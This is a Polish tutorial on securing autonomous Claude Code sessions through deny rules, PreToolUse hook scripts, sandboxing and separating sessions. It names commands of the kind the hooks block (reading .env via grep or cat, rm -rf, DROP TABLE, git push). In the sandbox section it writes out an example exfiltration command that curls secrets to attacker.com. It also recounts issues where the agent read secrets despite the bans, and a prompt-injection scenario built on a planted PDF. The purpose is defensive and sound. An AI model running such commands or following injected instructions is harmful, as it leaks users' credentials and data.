Jak skonfigurować Claude Code, żeby nie zepsuł projektu przez noc

Co zmienia się w 2026 roku: autonomiczny Claude Code i rzeczywiste incydenty#

Wcześniej Claude Code zatrzymywał się po każdej odpowiedzi i pytał o zgodę na każdy zapis. Było to niewygodne, ale bezpieczne: fizycznie nie dało się przespać incydentu, bo agent czekał na twoje „tak”. W 2026 roku ten model się załamał. Anthropic udostępnił auto-mode — osobny agent klasyfikujący decyduje w twoim imieniu, czy zezwolić na każdą czynność. Pojawiło się polecenie /loop (uruchamiające prompt w określonych odstępach w ramach sesji), a także /schedule (planowanie w stylu crona dla długotrwałych zadań). Sesje w tle uruchomione przez claude --bg działają bez terminala. Szczegółowo omówiłem tryb autonomiczny w poradniku „/goal w Claude Code: tryb autonomiczny i widok agenta”.

Problem polega na tym, że autonomia pojawiła się szybciej niż zabezpieczenia.

W repozytorium Anthropic są jednocześnie otwarte dwa błędy, o których warto wiedzieć przed dodaniem permissions.deny do settings.json:

• Zgłoszenie #44868 (7 kwietnia 2026): Claude Code odczytuje zawartość .env przez grep -n do transkrypcji czatu, mimo wyraźnego zakazu w CLAUDE.md. Błąd pozostaje otwarty.
• Zgłoszenie #24846 (11 lutego 2026): reguły permissions.read.deny dla wzorców .env* nie są stosowane — Read odczytuje .env.local mimo prawidłowego wzorca zakazu. Zgłoszenie zamknięto jako duplikat, ale nie naprawiono błędu.

Te dwie luki pokazują, dlaczego jedna warstwa w settings.json nie wystarcza. Dalej model czterech warstw: uprawnienia + hooki + sandbox + rozdzielenie sesji. Każda może ograniczać narażenie, ale nie czyni innych kompletnymi. Cytowana ocena auto-mode nie dowodzi przechwycenia jego pomyłek przez hook regex. Dla produkcji użyj izolowanego środowiska systemowego bez poświadczeń lub zapisu produkcyjnego, egzekwuj ograniczenia sieci poza modelem i sprawdź granice przed pracą bez nadzoru.

Czym są zielona i czerwona strefa projektu?#

Nie ma sensu budować takiej samej ochrony dla każdego projektu. Lokalny projekt hobbystyczny na twoim komputerze, który nie jest wdrożony na zewnątrz, oznacza zupełnie inny poziom ryzyka niż usługa obsługująca rzeczywiste płatności i przechowująca dane klientów. Jeśli wszędzie zastosujesz tę samą ochronę, spowolnisz pracę w zielonej strefie, a w czerwonej i tak pozostawisz luki.

Projekt przechodzi z zielonej do czerwonej strefy, gdy spełniony zostanie choć jeden z trzech warunków: pojawią się aktywni klienci, przez system zaczną przepływać pieniądze albo baza danych będzie zawierać dane osobowe. Do tego czasu możesz korzystać z auto-mode, minimalnej liczby hooków i nie używać sandboxa. Potem ochronę trzeba zbudować ponownie zgodnie z pełną konfiguracją opisaną w tym poradniku.

Główna zasada: poziom ochrony zależy od strefy. Etap rozwoju nie ma znaczenia. Projekt hobbystyczny na twoim komputerze z testowym kontem Stripe należy do zielonej strefy. Usługa z jednym płacącym klientem i formularzem rejestracyjnym jest już w czerwonej strefie, nawet jeśli nadal wygląda jak „wersja robocza”. Mylenie tych stref to częsta pułapka w początkowej fazie projektu: „wciąż jesteśmy w wersji roboczej, dodamy ochronę później”, a potem pierwszy klient płaci już w przyszłym tygodniu.

Jak działa hierarchia uprawnień w settings.json?#

Anthropic opisuje hierarchię sprawdzania uprawnień w oficjalnej dokumentacji: najpierw sprawdzane są reguły deny, potem ask, a na końcu allow — wygrywa pierwsza pasująca reguła. Oznacza to, że deny zawsze ma pierwszeństwo przed allow. Jeśli zabronisz odczytu .env w ~/.claude/settings.json, a ktoś ustawi allow w .claude/settings.json projektu, obowiązuje twój zakaz, a nie jego zezwolenie.

Przykład minimalnego bezpiecznego pliku ~/.claude/settings.json na poziomie użytkownika:

{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(*.pem)",
      "Read(*.key)",
      "Read(**/credentials*.json)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(~/.gnupg/**)"
    ]
  },
  "disableBypassPermissionsMode": "disable"
}

Co tu się dzieje? Pierwsze sześć reguł blokuje odczyt plików z sekretami w bieżącym katalogu i wszystkich podkatalogach. *.pem i *.key to klucze SSL/TLS i klucze SSH. credentials*.json to typowa nazwa pliku używana przez dostawców usług w chmurze. Ostatnie trzy reguły dotyczą katalogów systemowych zawierających klucze SSH, dane uwierzytelniające AWS i klucze GPG.

Klucz disableBypassPermissionsMode: "disable" blokuje flagę --dangerously-skip-permissions (znaną też jako tryb YOLO). Raz na zawsze eliminuje to jedną kategorię błędów: nawet jeśli przypadkiem dodasz tę flagę do skryptu lub aliasu, Claude Code odmówi jej przyjęcia. Nie tylko ją usunie — zwróci błąd „mode disabled by managed settings”.

Ponadto, począwszy od wersji 2.1.142, klucz defaultMode: "auto" jest ignorowany, jeśli znajduje się w ustawieniach projektu lub lokalnych. Chroni to przed sytuacją: „wszedłem do cudzego repozytorium, a jego .claude/settings.json domyślnie włącza tryb automatyczny”. Anthropic wyraźnie stwierdził, że repozytoria nie mogą włączyć auto-mode bez zgody użytkownika.

To pierwsza linia ochrony. Nie możesz na niej poprzestać, bo ma dwie luki, o których dowiesz się w następnej części.

Dlaczego permissions.deny nie wystarcza: 2 otwarte zgłoszenia na GitHubie#

Gdyby permissions.deny działało, poradnik mógłby zakończyć się w poprzedniej części. Ale nie działa.

Zgłoszenie #44868 (7 kwietnia 2026): użytkownik wyraźnie dodał w CLAUDE.md zakaz odczytu .env, .dev.vars i innych plików zawierających sekrety. Zamiast użyć Read, Claude uruchomił grep -n SOMETHING .env. Polecenie grep -n wypisuje cały pasujący wiersz wraz z numerem — w tym rzeczywisty token API. Wiersz trafia do tool_result, jest wyświetlany w transkrypcji sesji i zapisywany w historii.

Subtelna kwestia, na którą zwraca uwagę autor: odruch bezpieczeństwa modelu uruchamia się dopiero po wygenerowaniu wyniku, a nie przed wykonaniem polecenia. Innymi słowy, Claude najpierw uruchamia grep, otrzymuje wiersz zawierający token i wypisuje go na czacie — dopiero wtedy zauważa błąd i „przeprasza”. W tej chwili token znajduje się już w historii czatu. Jedynym rozwiązaniem jest rotacja klucza.

Zgłoszenie #24846 (11 lutego 2026): użytkownik skonfigurował permissions.read.deny z listą zawierającą wzorzec **/.env*. Następnie poprosił Claude’a o odczyt .env.local. Narzędzie Read zakończyło działanie bez błędów i wypisało zawartość pliku.

Zgłoszenie zamknięto jako duplikat, ale błędu nie naprawiono. W chwili pisania tego poradnika (czerwiec 2026) można go odtworzyć.

Wniosek: warstwa 1 w settings.json nie jest stratą czasu, ale te przykłady nie mierzą odsetka blokowanych przypadkowych odczytów. Nie zapobiega jednak poleceniom przez Bash (cat .env, grep API_KEY .env, head .env), błędom egzekwowania reguł (zgłoszenie #24846) ani sprytnym łańcuchom wykorzystującym git diff lub git show dla commita zawierającego .env. Dlatego potrzebna jest druga warstwa — hooki.

Jak hooki mogą blokować rozpoznane niebezpieczne działania?#

Hooki działają na innym poziomie abstrakcji niż uprawnienia. Uprawnienia to reguły, które model bierze pod uwagę, decydując, co zrobić. Hook działa inaczej: model decyduje się wywołać narzędzie, hook uruchamia się pomiędzy modelem a systemem, sprawdza dane wejściowe i albo zezwala na działanie, albo je blokuje. Model nie uczestniczy w decyzji hooka — to napisany przez ciebie kod powłoki.

Anthropic opisuje blokowanie działań w oficjalnej dokumentacji hooków:

Oznacza to dwie rzeczy. Po pierwsze, poprawnie skonfigurowany hook blokujący może odmówić dopasowanego wywołania. Dla PreToolUse kod wyjścia 2 blokuje to wywołanie; nie dowodzi rozpoznawania każdego niebezpiecznego równoważnego polecenia. Po drugie, możesz umieścić zrozumiały komunikat na stderr, a Claude odczyta go jako błąd i spróbuje innego podejścia. Innymi słowy, hook to nie tylko „płot”, lecz „płot z tabliczką wyjaśniającą, dlaczego nie można przejść”.

Zdarzenia, które można blokować kodem wyjścia 2:

• PreToolUse — blokuje wywołanie narzędzia przed wykonaniem. Główne zdarzenie dla hooków ochronnych.
• PermissionRequest — odmawia zgody na działanie, na które Claude poprosił o zgodę.
• UserPromptSubmit — blokuje i usuwa prompt użytkownika. Przydatne, gdy prompt zawiera podejrzany tekst (na przykład prompt injection z podłożonej wiadomości e-mail).
• Stop — uniemożliwia Claude’owi zakończenie sesji. Można użyć go jako „pętli”, by agent pracował aż do spełnienia warunku.
• PreCompact — blokuje automatyczne skracanie kontekstu. Przydatne, jeśli chcesz zachować transkrypcję do czasu podjęcia ręcznej decyzji.
• WorktreeCreate — odrzuca utworzenie worktree. Zabezpiecza przed próbą sklonowania repozytorium w nieoczekiwanym miejscu.

Alternatywą dla kodu wyjścia 2 jest zwrócenie JSON-a z polem hookSpecificOutput.permissionDecision. permissionDecision może przyjąć jedną z czterech wartości:

• allow — jawnie zezwala na działanie, z pominięciem standardowego procesu uprawnień.
• deny — blokuje działanie, odpowiednik kodu wyjścia 2 dla PreToolUse.
• ask — przekazuje decyzję użytkownikowi (pojawia się okno dialogowe).
• defer — przekazuje decyzję do standardowej logiki uprawnień.

Dzięki temu hook daje większą kontrolę niż sam kod wyjścia. Za pomocą permissionDecision: "ask" można zmienić ciche operacje w takie, które wymagają potwierdzenia, bez ich całkowitego blokowania. Tak robię w przypadku npm install <new package> i zmian plików lockfile.

Jeśli chcesz dowiedzieć się więcej o działaniu hooków i poznać 31 zdarzeń dostępnych obecnie w Claude Code, opisałem je w osobnym poradniku „Hooki w Claude Code: 7 gotowych do skopiowania reguł”. Teraz podam konkretne hooki do pracy autonomicznej.

Których 7 hooków używam do pracy przez noc?#

To druga warstwa ochrony, która wzmacnia pierwszą. Wszystkie hooki trafiają do .claude/hooks/, są rejestrowane przez .claude/settings.json i wymagają zainstalowanego jq.

Hook 1: Chroń .env, .pem i credentials.json przed odczytem

Dodaje sprawdzenia wybranych ścieżek Read i częstych poleceń odczytu sekretów w Bash. Nie wychwytuje każdego narzędzia ani każdej metody odczytu sekretu. Plik: .claude/hooks/block-secret-reads.sh:

#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')

# Read tool with a suspicious path
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Secret file. Use op:// references or env vars."
    }
  }'
  exit 0
fi

# Bash that reads secrets via cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Reading secrets via shell is blocked."
    }
  }'
  exit 0
fi

exit 0

Rejestracja w .claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read|Bash",
        "hooks": [{
          "type": "command",
          "command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
        }]
      }
    ]
  }
}

Po instalacji uruchom chmod +x .claude/hooks/block-secret-reads.sh. Test: poproś Claude’a o odczyt .env.local — zamiast zawartości pliku otrzymasz komunikat „Secret file. Use op:// references or env vars.”.

Hook 2: Blokowanie dosłownych wywołań git push w nocnych sesjach

Dla sesji bez nadzoru przykład zachowawczo blokuje każde rozpoznane dosłowne git push, również do gałęzi funkcyjnych. Nie zgaduje bieżącej gałęzi ani bezpieczeństwa flagi force. Plik: .claude/hooks/block-force-push.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
    }
  }'
fi

exit 0

Zarejestruj przez PreToolUse z matcherem Bash. Blokowanie rozpoznanego pusha zamiast parsowania flag i gałęzi wychwytuje git push --force origin main, git push origin main --force, git push -f, git push origin HEAD:main i dosłowny push w łańcuchu && lub ;. To przykłady dopasowania tekstu offline, nie polecenia do wykonania na zdalnym repozytorium.

Nadal jest to heurystyka tekstowa. Aliasy Git, funkcje powłoki, git -C ... push, konstruowane nazwy, skrypty i inne narzędzia mogą ją ominąć; to nie pełny parser powłoki. Egzekwuj ochronę gałęzi na serwerze Git, usuń poświadczenia obchodzące reguły i uruchamiaj pracę bez nadzoru w izolacji bez zapisu produkcyjnego. Brak dopasowania hooka nie może nadawać uprawnień produkcyjnych.

Hook 3: Blokowanie destrukcyjnych operacji SQL

Bezpośrednio odnosi się do incydentów z usunięciem bazy danych. Plik: .claude/hooks/block-destructive-sql.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
    }
  }'
  exit 0
fi

# DELETE FROM without WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
    }
  }'
  exit 0
fi

# UPDATE without WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
    }
  }'
  exit 0
fi

exit 0

Zarejestruj: PreToolUse z matcher: "Bash". Zwróć uwagę na różnicę: DROP i DELETE bez WHERE są całkowicie blokowane, natomiast UPDATE bez WHERE zmienia się w ask — czasami może to być uzasadnione (na przykład ustawienie flagi we wszystkich rekordach w ramach migracji), ale zawsze wymaga ręcznego potwierdzenia.

Hook 4: Filtr rm -rf

Kanoniczny przykład z dokumentacji Anthropic, dostosowany tak, by odmawiać działania i podać powód:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# rm -rf /, ~, $HOME, * without explicit scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
    }
  }'
fi

exit 0

Hook pozwala na rm -rf node_modules, rm -rf .next/cache i inne usuwanie z wyraźnie określonym zakresem. Blokuje rm -rf ., rm -rf /, rm -rf ~ i podobne polecenia „wyczyść wszystko”.

Hook 5: Potwierdzanie instalacji nowych pakietów

Ten hook przeciwdziała atakom na łańcuch dostaw. Jeśli Claude sam zdecyduje się dodać nową zależność, pojawi się okno dialogowe:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# Installing dependencies from a lockfile—allow
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
  exit 0
fi

# Adding new packages
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Adding new dependency. Confirm package name and version."
    }
  }'
fi

exit 0

Ten hook odpowiada na uwagę Simona Willisona: domyślna lista dozwolonych poleceń auto-mode obejmuje pip install -r requirements.txt, ale nie chroni przed nieprzypiętymi zależnościami w requirements.txt. Hook działa odwrotnie — instalacje z lockfile przechodzą swobodnie, a dodanie nowej zależności wymaga potwierdzenia.

Hook 6: Chroń package.json i lockfile

Każda zmiana manifestu zależności to sygnał, że ktoś powinien ją sprawdzić. Zwłaszcza w nocy.

#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')

if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
    }
  }'
fi

exit 0

Zarejestruj z PreToolUse i matcherem Write|Edit.

Hook 7: Kompletny dziennik audytowy wszystkich wywołań Bash

Gdy w nocy coś pójdzie nie tak, potrzebujesz pełnego dziennika, aby zrozumieć przebieg zdarzeń. Zarejestruj w settings.json (hook nie ma osobnego skryptu; wszystko robi jq):

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash|Write|Edit",
        "hooks": [{
          "type": "command",
          "command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
        }]
      }
    ]
  }
}

Plik .claude/audit.jsonl rośnie o jeden wiersz przy każdym zdarzeniu. Rano, po nocnym uruchomieniu /loop, możesz wykonać tail -n 100 .claude/audit.jsonl | jq i zobaczyć, co agent robił w poszczególnych momentach. Jest to kluczowe przy analizie po incydencie, bo transkrypcja sesji może być długa i trudna do odczytania, a dziennik audytowy zapewnia przejrzystą oś czasu.

Jak sandbox i izolacja worktree chronią długie sesje?#

Jeśli hooki są „płotem z tabliczką”, sandbox jest „płotem, fosą i siatką antydronową”. To czwarta warstwa ochrony, która obejmuje sytuacje, gdy hooki przepuszczą działanie, ale nawet jego wykonanie nie powinno zaszkodzić poza środowiskiem.

W swoim wpisie na blogu o sandboxingu (20 października 2025) Anthropic podaje wyniki wewnętrznych pomiarów:

Oznacza to, że po włączeniu /sandbox Claude przestaje prosić o zgodę na 84% działań, ponieważ fizycznie nie mogą one opuścić sandboxa. Przyspiesza to pracę, ale nie jest główną korzyścią.

Sandbox zapewnia dwa poziomy izolacji, z których każdy pełni inną rolę:

Izolacja systemu plików ogranicza odczyt i zapis do wyraźnie dozwolonych katalogów. Nawet jeśli hook nie wykryje próby zapisu do /etc/hosts albo odczytu ~/.ssh/id_rsa, sandbox nie pozwoli wykonać wywołania systemowego. To ochrona na poziomie systemu operacyjnego. Warstwa aplikacji nie może jej obejść.

Izolacja sieciowa zezwala na połączenia wyłącznie z zatwierdzonymi serwerami. Ma to kluczowe znaczenie w przypadku ataków eksfiltracyjnych. Scenariusz: prompt injection w podłożonym pliku skłonił Claude’a do odczytu .env (hook tego nie wykrył, bo odczyt przebiegł nietypową ścieżką), a następnie model postanawia uruchomić curl -X POST attacker.com -d "$ENV_CONTENT". Bez izolacji sieciowej to zadziała. Przy włączonej izolacji curl nie połączy się z attacker.com, bo tego hosta nie ma na liście.

Uruchom sandbox poleceniem /sandbox w Claude Code. Skonfiguruj go w ~/.claude/settings.json:

{
  "sandbox": {
    "filesystem": {
      "allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
      "deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
    },
    "network": {
      "allow": [
        "api.anthropic.com",
        "github.com",
        "registry.npmjs.org",
        "pypi.org"
      ]
    }
  }
}

W przypadku długich sesji w tle uruchamianych przez claude --bg dodaj izolację worktree do sandboxa. To natywny mechanizm Claude Code: każda sesja w tle jest automatycznie przenoszona do własnego .claude/worktrees/<name>/ na osobnej gałęzi. Dzięki temu równoległe sesje nie ingerują w te same pliki podczas zapisu. Szczegółowo omówiłem izolację worktree w poradniku „Widok agenta i worktree: tryb autonomiczny Claude Code”.

Sandbox jest częścią pętli informacji zwrotnej. Gdy Claude wie, że jego działania są ograniczone, pracuje ostrożniej i wyraźniej opisuje kolejne kroki.

Gdzie auto-mode sprawdza się w 2026 roku, a gdzie nie?#

W marcu 2026 roku Anthropic udostępnił auto-mode jako „pośrednie rozwiązanie między ręczną weryfikacją a brakiem zabezpieczeń”. Jest to osobny model Sonnet 4.6, który przed wykonaniem ocenia każde działanie Claude’a według zestawu kryteriów. Anthropic opisał mechanizm na blogu Anthropic Engineering:

Auto-mode ma dwa istotne ograniczenia:

• Jeśli w sesji pojawią się 3 kolejne lub 20 łącznych odrzuceń przez klasyfikator, model zatrzymuje się i przekazuje sprawę człowiekowi. Chroni to przed sytuacją, w której „Claude zapętla się, próbując obejść ograniczenie za pomocą 100 różnych sformułowań tego samego polecenia”.
• Auto-mode zezwala na działanie, jeśli przypomina ono 93% typowych przypadków, które i tak zatwierdzają użytkownicy. Ogranicza to zmęczenie prośbami o pozwolenie, ale nie chroni przed nietypowymi niebezpiecznymi działaniami.

A oto najważniejsza liczba, na którą warto zwrócić uwagę:

Podane 17% to odsetek wyników fałszywie ujemnych w tej ocenie, nie prawdopodobieństwo każdego działania w projekcie. Nie dowodzi przechwycenia pominiętych działań przez przykładowe hooki. W czerwonej strefie praca bez nadzoru wymaga egzekwowanej izolacji od zapisu produkcyjnego i sekretów oraz ochrony gałęzi na serwerze z poświadczeniami niemogącymi jej obejść.

Praktyczny wniosek: używaj hooków jako dodatkowych sprawdzeń w jednorazowym, odtwarzalnym środowisku. Nawet lokalny projekt może zawierać nieśledzone pliki i poświadczenia, których Git nie przywróci. W czerwonej strefie przeoczenie hooka musi zatrzymać rzeczywista kontrola dostępu; zbiór regex nie daje gwarancji bezpieczeństwa dowolnej powłoki.

Dlaczego rozdzielać konteksty na trzy rodzaje sesji?#

Trzy rodzaje zadań nigdy nie powinny znaleźć się w tej samej sesji:

Typ 1: praca z danymi osobowymi. Sesja ma dostęp do produkcyjnej bazy danych, może wysyłać e-maile i widzi dane uwierzytelniające. NIE ma dostępu do zewnętrznych dokumentów (e-maili, PDF-ów, stron internetowych) i NIE MOŻE wysyłać danych na dowolne adresy.

Typ 2: przetwarzanie dokumentów zewnętrznych. Sesja może analizować przychodzące e-maile, pobierać strony internetowe i odczytywać PDF-y z poczty. NIE ma dostępu do bazy danych zawierającej dane osobowe i NIE MOŻE wysyłać niczego na zewnątrz bez wyraźnego potwierdzenia.

Typ 3: publikowanie na zewnątrz. Sesja może publikować w mediach społecznościowych, wysyłać kampanie e-mailowe i tworzyć pull requesty. NIE ma dostępu do danych osobowych i NIE analizuje przychodzących treści.

Dlaczego je rozdzielać? Jeśli jedna sesja robi wszystko, pojedynczy prompt injection w podłożonym pliku PDF (konkurencyjna agencja wysłała „fakturę”) wystarczy, by agent za jednym razem odczytał bazę danych klientów, znalazł ich adresy e-mail i wysłał je na adres atakującego. Każde działanie w tym łańcuchu jest uzasadnione w ramach odpowiedniego typu zadania. Razem tworzą wyciek.

W praktyce wdraża się to, używając różnych katalogów .claude dla różnych typów zadań. Na swoim komputerze mam trzy konfiguracje: ~/projects/business-ops/.claude/ (typ 1, dostęp do bazy danych, sieć zablokowana z wyjątkiem wewnętrznych API), ~/projects/inbox-parsing/.claude/ (typ 2, cała sieć zablokowana), ~/projects/social-posting/.claude/ (typ 3, sieć dozwolona dla API Telegrama i Slacka). Każdy katalog to osobny projekt dla Claude Code z własnymi uprawnieniami i hookami.

Które 12 punktów listy kontrolnej sprawdzam przed /loop?#

1. ~/.claude/settings.json z zakazem deny na poziomie użytkownika dla .env*, *.pem, *.key, credentials*.json, ~/.ssh/**, ~/.aws/**. To podstawa; bez niej reszta nie ma sensu.

2. disableBypassPermissionsMode: "disable" w ~/.claude/settings.json. Raz na zawsze blokuje flagę YOLO.

3. Przykłady block-secret-reads.sh sprawdzono na wybranych poleceniach odczytu; rzeczywiste sekrety i poświadczenia produkcyjne są niedostępne dla środowiska bez nadzoru.

4. Przykład block-force-push.sh blokuje rozpoznane dosłowne pushe niezależnie od kolejności flag i celu; ochronę gałęzi i brak poświadczeń obchodzących ją egzekwuje serwer Git.

5. Hook block-destructive-sql.sh dla DROP TABLE, TRUNCATE i DELETE FROM bez WHERE.

6. Hook block-rm-rf.sh dla rm -rf bez wyraźnie określonego zakresu.

7. Hook ask-on-new-deps.sh dla npm install <new package> (odrębnie od npm install bez argumentów).

8. Hook ask-on-lockfile-change.sh dla zapisów do package.json, pnpm-lock.yaml, requirements.txt, pyproject.toml i Cargo.toml.

9. Zbiorczy dziennik audit.jsonl dla wszystkich wywołań Bash, Write i Edit. Bez niego analiza po incydencie jest niemożliwa.

10. Wszystkie długie sesje w tle działają w worktree, a nie na głównej gałęzi: claude --bg "task" automatycznie tworzy worktree, ale sprawdź, czy settings.json nie zawiera worktree.bgIsolation: "none".

11. /sandbox przed uruchomieniem długiego zadania autonomicznego. System plików jest ograniczony do katalogu projektu i /tmp. Sieć korzysta z listy dozwolonych hostów: api.anthropic.com, github.com i registry.npmjs.org.

12. Krok weryfikacji w ramach zadania: po każdej większej zmianie uruchom narzędzie testujące lub linter. Jeśli zakończą się niepowodzeniem, agent nie kontynuuje, dopóki problem nie zostanie naprawiony.

Ostatni punkt to sposób pracy, a nie ustawienie narzędzia. Zapewnij Claude’owi możliwość sprawdzenia własnej pracy. Bez weryfikacji agent przez całą noc powtarza „chyba zrobiłem to dobrze, przechodzę dalej” i do rana gromadzi błędy. Dzięki weryfikacji nie kontynuuje, dopóki kontrola nie zakończy się powodzeniem.

7 antywzorców: czego NIE robić#

1. --dangerously-skip-permissions na komputerze z dostępem do produkcji. Browningstreet stracił produkcyjną i deweloperską bazę danych po jednym poleceniu „posprzątaj”. Kosztem błędu są godziny odzyskiwania danych i utrata danych, których nie ma w kopii zapasowej. Jeśli incydent już się wydarzył, otwórz „Co zrobić, gdy AI usunęło bazę danych: lista kontrolna odzyskiwania” i wykonaj kolejno 10 kroków.

2. Poleganie wyłącznie na CLAUDE.md w kwestii bezpieczeństwa. Zgłoszenie #44868 dowiodło, że model najpierw działa, a potem przeprasza. Instrukcja w pliku tekstowym nie blokuje wywołania narzędzia. Poprawnie skonfigurowany hook może blokować dopasowane wywołania, a system operacyjny, sandbox i kontrola dostępu usługi egzekwują szersze granice. CLAUDE.md ma znaczenie dla kontekstu projektu — osobno opisałem to w poradniku „Jak prawidłowo skonfigurować CLAUDE.md” — ale nie chroni przed autonomicznym agentem.

3. Poleganie wyłącznie na permissions.deny w settings.json, bez dodatkowego hooka. Zgłoszenie #24846 pozostaje otwarte od lutego 2026 roku. Zakaz dla .env* można obejść przez grep w Bashu. Hook dodaje sprawdzenia, ale sekrety także muszą być wykluczone ze środowiska bez nadzoru; regex nie zastępuje w pełni kontroli dostępu.

4. Uznawanie auto-mode z hookami regex za izolację produkcji. Cytowany odsetek wyników fałszywie ujemnych dotyczy konkretnej oceny, a zakres hooków jest niepełny. Usuń poświadczenia zapisu produkcyjnego i sprawdź egzekwowaną granicę zamiast zakładać przechwycenie każdego niebezpiecznego działania.

5. Instalowanie nowego pakietu przez npm install bez potwierdzenia. Ataki na łańcuch dostaw są realne. Incydenty z Tea-tags w latach 2024–2026 pokazały, że istnieją pakiety z podszytą nazwą i tysiącami pobrań. Potrzebujesz listy dozwolonych pakietów.

6. Brak logowania wywołań Bash. Bez dziennika audytowego nie zrozumiesz, co wydarzyło się w nocy. Transkrypcja czatu jest długa, nie jest indeksowana według poleceń i nie pokazuje osi czasu. .claude/audit.jsonl rozwiązuje oba problemy.

7. Brak worktree dla sesji w tle. Równoległe sesje w jednym katalogu ingerują w pracę innych. Claude Code ma włączone domyślnie worktree.bgIsolation od wersji 2.1.143, ale sprawdź swoje ustawienia.

Jest jeszcze najważniejsza rzecz, której nie może powstrzymać żaden hook ani ustawienie:

To zdanie nie dotyczy stylu. Za ochronę środowiska produkcyjnego odpowiada osoba, która uruchomiła agenta. Claude Code działa jak brzytwa: można się nią golić, ale można się też nią skaleczyć. Konfiguracja odpowiada na jedno pytanie: czy środowisko zostało przygotowane tak, by brzytwa nie przecięła niczego, czego nie powinna?

Więcej materiałów znajdziesz na Ailoot.